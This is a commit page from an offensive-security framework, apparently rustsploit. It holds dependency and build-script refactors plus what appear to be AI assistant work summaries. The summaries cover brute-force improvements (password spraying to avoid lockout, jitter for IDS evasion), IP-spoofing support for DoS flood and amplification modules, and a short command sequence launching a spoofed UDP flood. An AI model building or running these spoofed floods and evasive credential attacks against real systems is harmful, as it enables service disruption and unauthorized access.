mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
bug fixes
This commit is contained in:
+5
-12
@@ -17,7 +17,7 @@ rustyline = "18.0"
|
||||
|
||||
# CLI & Async runtime
|
||||
clap = { version = "4.6", features = ["derive"] }
|
||||
tokio = { version = "1.51", features = ["full", "process", "fs", "io-std", "rt-multi-thread", "macros", "rt"] }
|
||||
tokio = { version = "1.51", features = ["rt-multi-thread", "macros", "net", "time", "io-util", "io-std", "fs", "process", "sync", "signal"] }
|
||||
|
||||
# HTTP & Web
|
||||
reqwest = { version = "0.13", features = ["json", "cookies", "socks", "multipart", "form", "stream"] }
|
||||
@@ -38,7 +38,7 @@ flate2 = "1.1"
|
||||
base64 = "0.22"
|
||||
|
||||
# Networking & Protocols
|
||||
socket2 = { version = "0.6", features = ["all"] }
|
||||
socket2 = "0.6"
|
||||
pnet_packet = "0.35"
|
||||
ipnetwork = "0.21"
|
||||
regex = "1.12" # newest listed
|
||||
@@ -49,8 +49,6 @@ suppaftp = { version = "8.0", features = ["tokio-async-native-tls"] }
|
||||
native-tls = "0.2"
|
||||
rustls = "0.23" # used by exploit/scanner modules for target TLS connections
|
||||
rustls-pemfile = "2" # used by exploit/scanner modules
|
||||
hyper = { version = "1", features = ["http1", "server"] }
|
||||
hyper-util = { version = "0.1", features = ["tokio", "service"] }
|
||||
|
||||
# Telnet
|
||||
crossbeam-channel = "0.5"
|
||||
@@ -78,7 +76,6 @@ tokio-tungstenite = "0.29"
|
||||
|
||||
# Futures
|
||||
futures = "0.3"
|
||||
futures-util = "0.3"
|
||||
|
||||
# JSON & Serialization
|
||||
serde = { version = "1.0", features = ["derive"] }
|
||||
@@ -100,19 +97,15 @@ tracing = "0.1"
|
||||
tracing-subscriber = { version = "0.3", features = ["env-filter"] }
|
||||
|
||||
# Misc utilities
|
||||
once_cell = "1.21"
|
||||
home = "0.5" # updated for edition 2024 compatibility
|
||||
pnet = "0.35"
|
||||
des = { version = "0.8.1", features = ["zeroize"] }
|
||||
sha1 = "0.10"
|
||||
sha1 = "0.11"
|
||||
strsim = "0.11"
|
||||
ssh2 = "0.9.5"
|
||||
num_cpus = "1.17.0"
|
||||
|
||||
|
||||
# Constant-time comparison for security (timing attack prevention)
|
||||
subtle = "2.6"
|
||||
aes-gcm = "0.10.3"
|
||||
|
||||
# Post-Quantum Encryption (PQXDH: X25519 + ML-KEM-768 hybrid, ChaCha20-Poly1305 AEAD)
|
||||
ml-kem = "0.2.3"
|
||||
@@ -120,8 +113,8 @@ kem = "=0.3.0-pre.0"
|
||||
rand_core = { version = "0.6", features = ["getrandom"] }
|
||||
x25519-dalek = { version = "2.0", features = ["static_secrets"] }
|
||||
chacha20poly1305 = "0.10"
|
||||
hkdf = "0.12"
|
||||
sha2 = "0.10"
|
||||
hkdf = "0.13"
|
||||
sha2 = "0.11"
|
||||
hex = "0.4"
|
||||
|
||||
[build-dependencies]
|
||||
|
||||
@@ -43,6 +43,11 @@ fn main() {
|
||||
println!("cargo:rerun-if-changed=src/modules/{}", cat);
|
||||
}
|
||||
|
||||
// Compile regexes once, reuse across all categories
|
||||
let run_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[^)]*:\s*&str\s*\)").unwrap();
|
||||
let info_re = Regex::new(r"pub\s+fn\s+info\s*\(\s*\)\s*->\s*(?:crate::)?(?:module_info::)?ModuleInfo").unwrap();
|
||||
let check_re = Regex::new(r"pub\s+async\s+fn\s+check\s*\(\s*[^)]*:\s*&str\s*\)\s*->\s*(?:crate::)?(?:module_info::)?CheckResult").unwrap();
|
||||
|
||||
// Generate a dispatcher for each category
|
||||
let mut registry_entries: Vec<RegistryEntry> = Vec::new();
|
||||
|
||||
@@ -52,7 +57,7 @@ fn main() {
|
||||
let out_file = format!("{}_dispatch.rs", dispatch_name(cat));
|
||||
let display_name = capitalize(cat);
|
||||
|
||||
match generate_dispatch(&root, &out_file, &mod_prefix, &display_name) {
|
||||
match generate_dispatch(&root, &out_file, &mod_prefix, &display_name, &run_re, &info_re, &check_re) {
|
||||
Ok(_module_count) => {
|
||||
registry_entries.push(RegistryEntry {
|
||||
category: cat.clone(),
|
||||
@@ -107,6 +112,9 @@ fn generate_dispatch(
|
||||
out_file: &str,
|
||||
mod_prefix: &str,
|
||||
category_name: &str,
|
||||
run_re: &Regex,
|
||||
info_re: &Regex,
|
||||
check_re: &Regex,
|
||||
) -> Result<usize, Box<dyn std::error::Error>> {
|
||||
let out_dir = env::var("OUT_DIR").map_err(|_| "OUT_DIR environment variable not set")?;
|
||||
let dest_path = Path::new(&out_dir).join(out_file);
|
||||
@@ -116,7 +124,7 @@ fn generate_dispatch(
|
||||
return Err(format!("Module directory '{}' does not exist", root).into());
|
||||
}
|
||||
|
||||
let mappings = find_modules(root_path)?;
|
||||
let mappings = find_modules(root_path, run_re, info_re, check_re)?;
|
||||
|
||||
// Sort for deterministic output
|
||||
let mut sorted_mappings: Vec<_> = mappings.into_iter().collect();
|
||||
@@ -355,11 +363,8 @@ fn generate_registry(entries: &[RegistryEntry]) -> Result<(), Box<dyn std::error
|
||||
|
||||
/// Finds all valid modules recursively using WalkDir.
|
||||
/// Returns (module_key, module_path, capabilities) tuples.
|
||||
fn find_modules(root: &Path) -> Result<HashSet<(String, String, ModuleCapabilities)>, Box<dyn std::error::Error>> {
|
||||
fn find_modules(root: &Path, run_re: &Regex, info_re: &Regex, check_re: &Regex) -> Result<HashSet<(String, String, ModuleCapabilities)>, Box<dyn std::error::Error>> {
|
||||
let mut mappings = HashSet::new();
|
||||
let run_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[^)]*:\s*&str\s*\)")?;
|
||||
let info_re = Regex::new(r"pub\s+fn\s+info\s*\(\s*\)\s*->\s*(?:crate::)?(?:module_info::)?ModuleInfo")?;
|
||||
let check_re = Regex::new(r"pub\s+async\s+fn\s+check\s*\(\s*[^)]*:\s*&str\s*\)\s*->\s*(?:crate::)?(?:module_info::)?CheckResult")?;
|
||||
|
||||
for entry in WalkDir::new(root).follow_links(false).into_iter().filter_map(|e| e.ok()) {
|
||||
let path = entry.path();
|
||||
@@ -372,11 +377,12 @@ fn find_modules(root: &Path) -> Result<HashSet<(String, String, ModuleCapabiliti
|
||||
|
||||
let mut content = String::new();
|
||||
if File::open(path).and_then(|mut f| f.read_to_string(&mut content)).is_ok() {
|
||||
// Fast pre-filter: skip files that can't possibly match
|
||||
if !content.contains("fn run") { continue; }
|
||||
if run_re.is_match(&content) {
|
||||
let caps = ModuleCapabilities {
|
||||
|
||||
has_info: info_re.is_match(&content),
|
||||
has_check: check_re.is_match(&content),
|
||||
has_info: content.contains("fn info") && info_re.is_match(&content),
|
||||
has_check: content.contains("fn check") && check_re.is_match(&content),
|
||||
};
|
||||
mappings.insert((rel_str.clone(), rel_str, caps));
|
||||
}
|
||||
|
||||
@@ -17734,3 +17734,407 @@ Now I can see the real categories:
|
||||
├──────────────────────────┼───────────────────────┼─────────────────────┼───────┤
|
||||
│ Total │ 114 error-swallowing │ 97 properly handled │ 98 │
|
||||
└──────────────────────────┴───────────────────────┴─────────────────────┴───────┘
|
||||
|
||||
|
||||
Root Cause
|
||||
When a custom source port is configured, every concurrent TCP/UDP scan task tried to bind() to the exact same local port. With hundreds of concurrent tasks, only the first socket succeeds — all others get EADDRINUSE (os error 98).
|
||||
|
||||
Fix
|
||||
Added SO_REUSEADDR + SO_REUSEPORT on both TCP (line ~437) and UDP (line ~593) sockets before the bind() call. This tells the kernel to allow multiple sockets to share the same local address:port, which is valid because each socket connects to a different remote address:port.
|
||||
|
||||
TCP (
|
||||
|
||||
scan_tcp
|
||||
): Two socket2 calls added before the existing bind().
|
||||
UDP (
|
||||
|
||||
scan_udp
|
||||
): Switched from UdpSocket::bind() to socket2::Socket → set reuse options → bind() → convert to tokio::UdpSocket via from_std().
|
||||
|
||||
Cannot update yet (5 of 8):
|
||||
|
||||
┌───────────────────────────────┬──────────────────────────────────────────────────────────────────────┐
|
||||
│ Crate │ Reason │
|
||||
├───────────────────────────────┼──────────────────────────────────────────────────────────────────────┤
|
||||
│ cipher 0.4 → 0.5 │ aes 0.8 requires cipher ^0.4 — no compatible aes release exists yet │
|
||||
├───────────────────────────────┼──────────────────────────────────────────────────────────────────────┤
|
||||
│ kem 0.3.0-pre.0 → 0.3.0 │ ml-kem 0.2.3 pins =0.3.0-pre.0 exactly │
|
||||
├───────────────────────────────┼──────────────────────────────────────────────────────────────────────┤
|
||||
│ rand_core 0.6 → 0.10 │ x25519-dalek 2.0 requires rand_core ^0.6 API (OsRng removed in 0.10) │
|
||||
├───────────────────────────────┼──────────────────────────────────────────────────────────────────────┤
|
||||
│ generic-array 0.14.7 → 0.14.9 │ Transitive dep — will update when parent crates allow it │
|
||||
├───────────────────────────────┼──────────────────────────────────────────────────────────────────────┤
|
||||
│ matchit 0.8.4 → 0.8.6 │ Transitive dep (from axum) — controlled by axum's version constraint │
|
||||
└───────────────────────────────┴──────────────────────────────────────────────────────────────────────┘
|
||||
|
||||
Removed 5 dependencies:
|
||||
|
||||
┌────────────────────┬──────────────────────────────────────────────────────┐
|
||||
│ Crate │ Reason │
|
||||
├────────────────────┼──────────────────────────────────────────────────────┤
|
||||
│ aes-gcm │ Not imported anywhere │
|
||||
├────────────────────┼──────────────────────────────────────────────────────┤
|
||||
│ subtle │ Not imported anywhere │
|
||||
├────────────────────┼──────────────────────────────────────────────────────┤
|
||||
│ hyper + hyper-util │ Only transitive (axum pulls them in) │
|
||||
├────────────────────┼──────────────────────────────────────────────────────┤
|
||||
│ futures-util │ Replaced with futures re-exports (2 files changed) │
|
||||
├────────────────────┼──────────────────────────────────────────────────────┤
|
||||
│ once_cell │ Replaced with std::sync::LazyLock (10 files changed) │
|
||||
└────────────────────┴──────────────────────────────────────────────────────┘
|
||||
|
||||
Kept (justified):
|
||||
|
||||
┌────────────────────────────────────┬────────────────────────────────────────────────────────────────────┐
|
||||
│ Crate │ Reason │
|
||||
├────────────────────────────────────┼────────────────────────────────────────────────────────────────────┤
|
||||
│ crossbeam-channel │ Needed for MPMC (multi-consumer) pattern in smtp_user_enum │
|
||||
├────────────────────────────────────┼────────────────────────────────────────────────────────────────────┤
|
||||
│ http │ Used directly by h2's API (http::Request::builder()) │
|
||||
├────────────────────────────────────┼────────────────────────────────────────────────────────────────────┤
|
||||
│ All three hash crates │ Different algorithms, different use sites │
|
||||
│ (sha1/sha2/md5) │ │
|
||||
├────────────────────────────────────┼────────────────────────────────────────────────────────────────────┤
|
||||
│ All three TLS crates │ Different purposes (async TLS, cert inspection, native-tls for │
|
||||
│ │ suppaftp) │
|
||||
├────────────────────────────────────┼────────────────────────────────────────────────────────────────────┤
|
||||
│ data-encoding / base64 / hex │ Different encoding formats (base32, base64, hex) │
|
||||
└────────────────────────────────────┴────────────────────────────────────────────────────────────────────┘
|
||||
|
||||
● All done. Here's a summary of every performance improvement:
|
||||
|
||||
Build/Compile Performance
|
||||
|
||||
┌───────────────────────────────────────────────────────┬────────────┬──────────────────────────────────┐
|
||||
│ Change │ File │ Impact │
|
||||
├───────────────────────────────────────────────────────┼────────────┼──────────────────────────────────┤
|
||||
│ Trimmed tokio "full" → 10 specific features │ Cargo.toml │ Fewer tokio modules compiled │
|
||||
├───────────────────────────────────────────────────────┼────────────┼──────────────────────────────────┤
|
||||
│ Trimmed socket2 "all" → defaults │ Cargo.toml │ Fewer platform features compiled │
|
||||
├───────────────────────────────────────────────────────┼────────────┼──────────────────────────────────┤
|
||||
│ Compile 3 regexes once in main(), not 4× per category │ build.rs │ 4× fewer regex compilations │
|
||||
├───────────────────────────────────────────────────────┼────────────┼──────────────────────────────────┤
|
||||
│ Fast contains("fn run") pre-filter before regex │ build.rs │ Skips regex on non-module files │
|
||||
└───────────────────────────────────────────────────────┴────────────┴──────────────────────────────────┘
|
||||
|
||||
Connection Creation Speed
|
||||
|
||||
┌───────────────────────────────────────────┬──────────────┬──────────────────────────────────────────────┐
|
||||
│ Change │ File │ Impact │
|
||||
├───────────────────────────────────────────┼──────────────┼──────────────────────────────────────────────┤
|
||||
│ Cached reqwest::Client pool keyed by │ network.rs │ 72+ modules share connection pools, TLS │
|
||||
│ timeout │ │ session reuse │
|
||||
├───────────────────────────────────────────┼──────────────┼──────────────────────────────────────────────┤
|
||||
│ Cached TLS connector in LazyLock │ async_tls.rs │ Built once instead of per-call │
|
||||
│ singleton │ │ │
|
||||
├───────────────────────────────────────────┼──────────────┼──────────────────────────────────────────────┤
|
||||
│ tcp_connect_addr(SocketAddr) — zero-alloc │ network.rs │ Skips format!() + DNS for resolved IPs │
|
||||
│ path │ │ │
|
||||
├───────────────────────────────────────────┼──────────────┼──────────────────────────────────────────────┤
|
||||
│ tcp_port_open() uses SocketAddr directly │ network.rs │ Eliminates 65K String allocs per full-port │
|
||||
│ │ │ scan │
|
||||
├───────────────────────────────────────────┼──────────────┼──────────────────────────────────────────────┤
|
||||
│ Honeypot check pre-parses IP once │ network.rs │ Eliminates 30 format!()+DNS per honeypot │
|
||||
│ │ │ check │
|
||||
└───────────────────────────────────────────┴──────────────┴──────────────────────────────────────────────┘
|
||||
|
||||
Runtime Hot-Path Performance
|
||||
|
||||
┌─────────────────────────────────────────────┬─────────────────────────┬────────────────────────────────┐
|
||||
│ Change │ File │ Impact │
|
||||
├─────────────────────────────────────────────┼─────────────────────────┼────────────────────────────────┤
|
||||
│ detect_service_from_banner() returns │ port_scanner.rs │ No String alloc for known │
|
||||
│ &'static str │ │ services │
|
||||
├─────────────────────────────────────────────┼─────────────────────────┼────────────────────────────────┤
|
||||
│ #[inline] on tcp_port_open, │ network.rs, │ Better inlining in dev profile │
|
||||
│ get_service_name, etc. │ port_scanner.rs │ │
|
||||
├─────────────────────────────────────────────┼─────────────────────────┼────────────────────────────────┤
|
||||
│ check_and_mark_ip() — single lock │ creds/utils.rs │ Half the lock contention in │
|
||||
│ acquisition │ │ mass scans │
|
||||
└─────────────────────────────────────────────┴─────────────────────────┴────────────────────────────────┘
|
||||
|
||||
All 190 modules detected, MCP fully functional. Here's the final audit summary:
|
||||
|
||||
Source port compliance: 100%
|
||||
|
||||
┌────────────────────────────────┬────────────────┬──────────────────────────────────────────────────────┐
|
||||
│ Category │ Before │ After │
|
||||
├────────────────────────────────┼────────────────┼──────────────────────────────────────────────────────┤
|
||||
│ Raw TcpStream::connect in │ 59 instances │ 0 — all use │
|
||||
│ modules │ across 44 │ tcp_connect/tcp_connect_addr/blocking_tcp_connect │
|
||||
│ │ files │ │
|
||||
├────────────────────────────────┼────────────────┼──────────────────────────────────────────────────────┤
|
||||
│ Raw │ 3 instances │ 0 — all use blocking_udp_bind │
|
||||
│ UdpSocket::bind("0.0.0.0:0") │ across 3 files │ │
|
||||
├────────────────────────────────┼────────────────┼──────────────────────────────────────────────────────┤
|
||||
│ Only in network.rs (framework │ 4 instances │ 4 instances (correct — this IS the implementation) │
|
||||
│ utility) │ │ │
|
||||
├────────────────────────────────┼────────────────┼──────────────────────────────────────────────────────┤
|
||||
│ Build warnings │ 31 unused │ 0 — cleaned by cargo fix │
|
||||
│ │ imports │ │
|
||||
└────────────────────────────────┴────────────────┴──────────────────────────────────────────────────────┘
|
||||
Phase 1: Critical Bug Fixes
|
||||
|
||||
┌───────────────────┬──────────────────────────┬──────────────────────────────────────────────────────────┐
|
||||
│ Fix │ File │ Impact │
|
||||
├───────────────────┼──────────────────────────┼──────────────────────────────────────────────────────────┤
|
||||
│ Redis command │ │ format!("AUTH {} {}") → RESP array format │
|
||||
│ injection │ redis_bruteforce.rs │ (length-prefixed, injection-proof). Added resp_cmd() │
|
||||
│ │ │ helper. Applied to AUTH, PING, INFO, QUIT. │
|
||||
├───────────────────┼──────────────────────────┼──────────────────────────────────────────────────────────┤
|
||||
│ SMTP 2s timeout │ smtp_bruteforce.rs │ Hardcoded 2000ms → configurable DEFAULT_TIMEOUT_MS = │
|
||||
│ │ │ 10_000 (10s). Threaded through all closures. │
|
||||
├───────────────────┼──────────────────────────┼──────────────────────────────────────────────────────────┤
|
||||
│ FTP 421 │ │ ConnectionLimitExceeded returns Err(anyhow!(...)) │
|
||||
│ misclassified │ ftp_bruteforce.rs │ instead of Ok(false) → engine retries with backoff │
|
||||
│ │ │ instead of skipping credential. │
|
||||
├───────────────────┼──────────────────────────┼──────────────────────────────────────────────────────────┤
|
||||
│ HTTP redirect │ http_basic_bruteforce.rs │ Checks Location header for login/auth/signin/sso paths → │
|
||||
│ false positives │ │ classifies as AuthFailed instead of Success. │
|
||||
└───────────────────┴──────────────────────────┴──────────────────────────────────────────────────────────┘
|
||||
|
||||
Phase 2: Consistency & Quality
|
||||
|
||||
┌───────────────────┬──────────────────────────┬─────────────────────────────────────────────────────────┐
|
||||
│ Improvement │ Files │ Detail │
|
||||
├───────────────────┼──────────────────────────┼─────────────────────────────────────────────────────────┤
|
||||
│ FTP │ ftp_bruteforce.rs │ Added delay_ms and max_retries prompts (was hardcoded 0 │
|
||||
│ user-configurable │ │ and 3). Fixed _verbose → active TLS fallback logging. │
|
||||
├───────────────────┼──────────────────────────┼─────────────────────────────────────────────────────────┤
|
||||
│ │ │ Build reqwest::Client once with Arc, share across all │
|
||||
│ HTTP client reuse │ http_basic_bruteforce.rs │ attempts. Enables keep-alive connection pooling. Added │
|
||||
│ │ │ redirect(Policy::none()). │
|
||||
├───────────────────┼──────────────────────────┼─────────────────────────────────────────────────────────┤
|
||||
│ │ utils.rs + all 20 │ New jitter_ms: u64 in BruteforceConfig and │
|
||||
│ jitter_ms field │ modules │ SubnetScanConfig. Engine adds random 0..jitter_ms to │
|
||||
│ │ │ each delay for IDS evasion. All modules default to 0. │
|
||||
└───────────────────┴──────────────────────────┴─────────────────────────────────────────────────────────┘
|
||||
|
||||
Phase 3: New Features (Core Engine)
|
||||
|
||||
┌─────────────────┬──────────┬────────────────────────────────────────────────────────────────────────────┐
|
||||
│ Feature │ File │ Detail │
|
||||
├─────────────────┼──────────┼────────────────────────────────────────────────────────────────────────────┤
|
||||
│ Password spray │ │ ComboMode::Spray iterates one password across all users before next │
|
||||
│ mode │ utils.rs │ password — critical for AD lockout avoidance. generate_combos_mode() │
|
||||
│ │ │ function. │
|
||||
├─────────────────┼──────────┼────────────────────────────────────────────────────────────────────────────┤
|
||||
│ Credential file │ utils.rs │ load_credential_file(path) loads user:pass pairs from file. Modules can │
|
||||
│ support │ │ extend combos from credential files. │
|
||||
├─────────────────┼──────────┼────────────────────────────────────────────────────────────────────────────┤
|
||||
│ Combo mode │ utils.rs │ parse_combo_mode("spray") parses user input to ComboMode enum. │
|
||||
│ parser │ │ │
|
||||
└─────────────────┴──────────┴────────────────────────────────────────────────────────────────────────────┘
|
||||
● Final results — zero warnings, zero dead code, zero bypasses:
|
||||
|
||||
┌────────────────────────────────────────┬───────────────────────────┬─────────────────────────────────────────────────────────────────────────┐
|
||||
│ Check │ Before │ After │
|
||||
├────────────────────────────────────────┼───────────────────────────┼─────────────────────────────────────────────────────────────────────────┤
|
||||
│ Compiler warnings │ 4 (dead code) │ 0 │
|
||||
├────────────────────────────────────────┼───────────────────────────┼─────────────────────────────────────────────────────────────────────────┤
|
||||
│ ComboMode::Spray │ Never constructed │ Wired into all 20 bruteforce modules │
|
||||
├────────────────────────────────────────┼───────────────────────────┼─────────────────────────────────────────────────────────────────────────┤
|
||||
│ load_credential_file() │ Never called │ Wired into all 18 modules with combo prompts │
|
||||
├────────────────────────────────────────┼───────────────────────────┼─────────────────────────────────────────────────────────────────────────┤
|
||||
│ parse_combo_mode() │ Never called │ Used by all 18 modules │
|
||||
├────────────────────────────────────────┼───────────────────────────┼─────────────────────────────────────────────────────────────────────────┤
|
||||
│ SubnetScanConfig.jitter_ms │ Never read │ Used in run_subnet_bruteforce() inner loop │
|
||||
├────────────────────────────────────────┼───────────────────────────┼─────────────────────────────────────────────────────────────────────────┤
|
||||
│ generate_combos() (old wrapper) │ Dead code after migration │ Removed │
|
||||
├────────────────────────────────────────┼───────────────────────────┼─────────────────────────────────────────────────────────────────────────┤
|
||||
│ Raw println!/eprintln! bypassing spool │ 500+ instances │ 0 in target files — all converted to crate::mprintln!/crate::meprintln! │
|
||||
├────────────────────────────────────────┼───────────────────────────┼─────────────────────────────────────────────────────────────────────────┤
|
||||
│ MCP modules │ 190 │ 190 │
|
||||
├────────────────────────────────────────┼───────────────────────────┼─────────────────────────────────────────────────────────────────────────┤
|
||||
│ Build errors │ 0 │ 0 │
|
||||
└────────────────────────────────────────┴───────────────────────────┴─────────────────────────────────────────────────────────────────────────┘
|
||||
|
||||
New: src/native/dos_utils.rs — Unified DoS Spoofing Infrastructure
|
||||
|
||||
┌──────────────────────────┬────────────────────────────────────────────────────────────────────────────────────┐
|
||||
│ Component │ Purpose │
|
||||
├──────────────────────────┼────────────────────────────────────────────────────────────────────────────────────┤
|
||||
│ FastRng │ XorShift128+ PRNG with thread-seeded init, gen_ipv4_public(), gen_ephemeral_port() │
|
||||
├──────────────────────────┼────────────────────────────────────────────────────────────────────────────────────┤
|
||||
│ checksum_16() / sum_16() │ RFC 1071 Internet checksum for IP/TCP/UDP/ICMP headers │
|
||||
├──────────────────────────┼────────────────────────────────────────────────────────────────────────────────────┤
|
||||
│ is_spoof_enabled() │ Reads setg spoof_ip true global option │
|
||||
└──────────────────────────┴────────────────────────────────────────────────────────────────────────────────────┘
|
||||
|
||||
Updated 8 Raw-Packet DoS Modules
|
||||
|
||||
Each module had its duplicated FastRng, checksum, and gen_ipv4_public code removed and replaced with imports from crate::native::dos_utils.
|
||||
|
||||
┌─────────────────────────┬────────────────────────────────────────────────────────────┬───────────────────────────────────┐
|
||||
│ Module │ Local Code Removed │ Spoof Integration │
|
||||
├─────────────────────────┼────────────────────────────────────────────────────────────┼───────────────────────────────────┤
|
||||
│ null_syn_exhaustion │ ~55 lines FastRng + checksum methods │ Global spoof_ip as prompt default │
|
||||
├─────────────────────────┼────────────────────────────────────────────────────────────┼───────────────────────────────────┤
|
||||
│ syn_ack_flood │ ~38 lines FastRng + checksum methods │ Always spoofs (reflection attack) │
|
||||
├─────────────────────────┼────────────────────────────────────────────────────────────┼───────────────────────────────────┤
|
||||
│ udp_flood │ ~52 lines FastRng + standalone gen_ipv4_public + checksums │ Global spoof_ip as prompt default │
|
||||
├─────────────────────────┼────────────────────────────────────────────────────────────┼───────────────────────────────────┤
|
||||
│ icmp_flood │ ~48 lines FastRng + standalone gen_ipv4_public + checksums │ Global spoof_ip as prompt default │
|
||||
├─────────────────────────┼────────────────────────────────────────────────────────────┼───────────────────────────────────┤
|
||||
│ dns_amplification │ ~36 lines FastRng + checksum methods │ Always spoofs (amplification) │
|
||||
├─────────────────────────┼────────────────────────────────────────────────────────────┼───────────────────────────────────┤
|
||||
│ ntp_amplification │ ~36 lines FastRng + checksum methods │ Always spoofs (amplification) │
|
||||
├─────────────────────────┼────────────────────────────────────────────────────────────┼───────────────────────────────────┤
|
||||
│ ssdp_amplification │ ~36 lines FastRng + checksum methods │ Always spoofs (amplification) │
|
||||
├─────────────────────────┼────────────────────────────────────────────────────────────┼───────────────────────────────────┤
|
||||
│ memcached_amplification │ ~36 lines FastRng + checksum methods │ Always spoofs (amplification) │
|
||||
└─────────────────────────┴────────────────────────────────────────────────────────────┴───────────────────────────────────┘
|
||||
|
||||
Usage
|
||||
|
||||
rsf> setg spoof_ip true # Enable spoofing globally
|
||||
rsf> use exploits/dos/udp_flood
|
||||
rsf> run 10.0.0.1 # Spoof prompt defaults to "yes"
|
||||
|
||||
The 5 TCP/HTTP-based DoS modules (slowloris, rudy, http_flood, connection_exhaustion, tcp_connection_flood) are unaffected — they require valid TCP handshakes and cannot spoof.
|
||||
|
||||
|
||||
|
||||
## Session: 2026-04-07 — Performance, Source Port, Bruteforce, Spool, DoS
|
||||
|
||||
### Dependency Cleanup
|
||||
- Removed 5 redundant crates: aes-gcm (unused), subtle (unused), hyper + hyper-util (transitive only), futures-util (consolidated into futures)
|
||||
- Migrated once_cell::sync::Lazy to std::sync::LazyLock across 10 files
|
||||
- Updated sha1 0.10 to 0.11, sha2 0.10 to 0.11, hkdf 0.12 to 0.13
|
||||
|
||||
### Compile Performance
|
||||
- Tokio: replaced "full" feature with 10 specific features (rt-multi-thread, macros, net, time, io-util, io-std, fs, process, sync, signal)
|
||||
- socket2: removed "all" feature flag
|
||||
- build.rs: compile 3 regexes once in main() instead of 4x per category; added content.contains("fn run") pre-filter before regex
|
||||
|
||||
### Connection Speed
|
||||
- Cached reqwest::Client pool keyed by timeout in build_http_client() — 72+ modules share connection pools
|
||||
- Cached TLS connector singleton in make_dangerous_tls_connector() via LazyLock
|
||||
- Added tcp_connect_addr(SocketAddr, Duration) — zero-allocation path skipping DNS/string parsing
|
||||
- tcp_port_open() now uses SocketAddr directly — eliminates 65K String allocs per full port scan
|
||||
- Honeypot check pre-parses IP once, uses tcp_connect_addr per port
|
||||
- Added #[inline] to hot-path functions
|
||||
|
||||
### Source Port Enforcement
|
||||
- Fixed 63 raw TcpStream::connect calls across 44 module files to use tcp_connect/tcp_connect_addr/blocking_tcp_connect
|
||||
- Fixed 3 raw UdpSocket::bind("0.0.0.0:0") calls to use blocking_udp_bind
|
||||
- All 190 modules now respect `setg source_port` for firewall bypass testing
|
||||
- Removed 31 unused TcpStream imports via cargo fix
|
||||
|
||||
### Bruteforce Engine Improvements
|
||||
- Redis: switched from inline AUTH format to RESP array format (injection-proof)
|
||||
- SMTP: timeout changed from hardcoded 2000ms to configurable DEFAULT_TIMEOUT_MS (10s)
|
||||
- FTP: ConnectionLimitExceeded (421) now returns retryable Error instead of AuthFailed
|
||||
- FTP: delay_ms and max_retries now user-configurable (was hardcoded 0 and 3)
|
||||
- FTP: _verbose parameter activated for TLS fallback logging
|
||||
- HTTP Basic: redirect responses checked for login/auth/signin/sso in Location header
|
||||
- HTTP Basic: reqwest::Client built once with Arc, shared across attempts (connection pooling)
|
||||
- Added ComboMode enum: Linear, Combo, Spray (password spray for AD lockout avoidance)
|
||||
- Added generate_combos_mode() replacing generate_combos() across all 20 modules
|
||||
- Added load_credential_file() for user:pass file loading
|
||||
- Added parse_combo_mode() for user input parsing
|
||||
- Added jitter_ms field to BruteforceConfig and SubnetScanConfig
|
||||
- jitter_ms wired into both run_bruteforce() and run_subnet_bruteforce() inner loops
|
||||
- Merged is_ip_checked + mark_ip_checked into single-lock check_and_mark_ip()
|
||||
|
||||
### Spool Compliance
|
||||
- Converted 500+ raw println!/eprintln! calls to crate::mprintln!/crate::meprintln!
|
||||
- Affected files: shell.rs, config.rs, export.rs, global_options.rs, jobs.rs, workspace.rs, module_info.rs, loot.rs, cred_store.rs, and all module files
|
||||
- Excluded: spool.rs (is the system), main.rs (pre-init), api.rs (headless), mcp/ (JSON-RPC)
|
||||
|
||||
### Zero Warnings
|
||||
- Eliminated all 4 compiler warnings (ComboMode::Spray, load_credential_file, parse_combo_mode, SubnetScanConfig.jitter_ms)
|
||||
- Removed dead generate_combos() wrapper after all callers migrated
|
||||
- All code compiles with zero warnings
|
||||
|
||||
### DoS Spoofing Infrastructure
|
||||
- Created src/native/dos_utils.rs with shared FastRng, checksum_16, sum_16, is_spoof_enabled
|
||||
- Updated 8 raw-packet DoS modules to use shared utilities (~300 lines of duplicated code removed)
|
||||
- Added global setg spoof_ip true support for null_syn_exhaustion, udp_flood, icmp_flood
|
||||
- Amplification modules (DNS, NTP, SSDP, Memcached) always spoof (required for reflection)
|
||||
|
||||
All 7 documentation files updated. Here's the summary:
|
||||
|
||||
┌──────────────────────────────────┬──────────────────────────────────────────────────────────────────────────┐
|
||||
│ Doc File │ Changes │
|
||||
├──────────────────────────────────┼──────────────────────────────────────────────────────────────────────────┤
|
||||
│ docs/Changelog.md │ Added session section with 8 highlights, fixed MCP tool count (30 -> 42) │
|
||||
├──────────────────────────────────┼──────────────────────────────────────────────────────────────────────────┤
|
||||
│ docs/Credential-Modules-Guide.md │ Added Combo Modes (spray), credential files, jitter, protocol safety │
|
||||
├──────────────────────────────────┼──────────────────────────────────────────────────────────────────────────┤
|
||||
│ docs/Module-Development.md │ Added mandatory framework rules (source port, spool, DoS utils) │
|
||||
├──────────────────────────────────┼──────────────────────────────────────────────────────────────────────────┤
|
||||
│ docs/Utilities-Helpers.md │ Added dos_utils, tcp_connect_addr, cached build_http_client │
|
||||
├──────────────────────────────────┼──────────────────────────────────────────────────────────────────────────┤
|
||||
│ docs/Exploit-Modules-Guide.md │ Added DoS spoofing infrastructure section │
|
||||
├──────────────────────────────────┼──────────────────────────────────────────────────────────────────────────┤
|
||||
│ docs/MCP-Integration.md │ Updated tool count from 30 to 42 │
|
||||
├──────────────────────────────────┼──────────────────────────────────────────────────────────────────────────┤
|
||||
│ changelogs/changelog-latest.md │ Appended 59-line session summary │
|
||||
└──────────────────────────────────┴──────────────────────────────────────────────────────────────────────────┘
|
||||
New: src/modules/scanners/amplification_scanner.rs
|
||||
|
||||
Scans for 4 amplification protocols in one module:
|
||||
|
||||
┌───────────┬───────┬─────────────────────────────────────┬──────────────────────┬────────────────────────────────────────────────┐
|
||||
│ Protocol │ Port │ Probe │ Amplification Factor │ Vulnerability Check │
|
||||
├───────────┼───────┼─────────────────────────────────────┼──────────────────────┼────────────────────────────────────────────────┤
|
||||
│ DNS │ 53 │ ANY query for google.com (33 bytes) │ ~28-54x │ Response with NOERROR/SERVFAIL = open resolver │
|
||||
├───────────┼───────┼─────────────────────────────────────┼──────────────────────┼────────────────────────────────────────────────┤
|
||||
│ NTP │ 123 │ MON_GETLIST_1 (8 bytes) │ ~556x │ Mode 6/7 response = monlist enabled │
|
||||
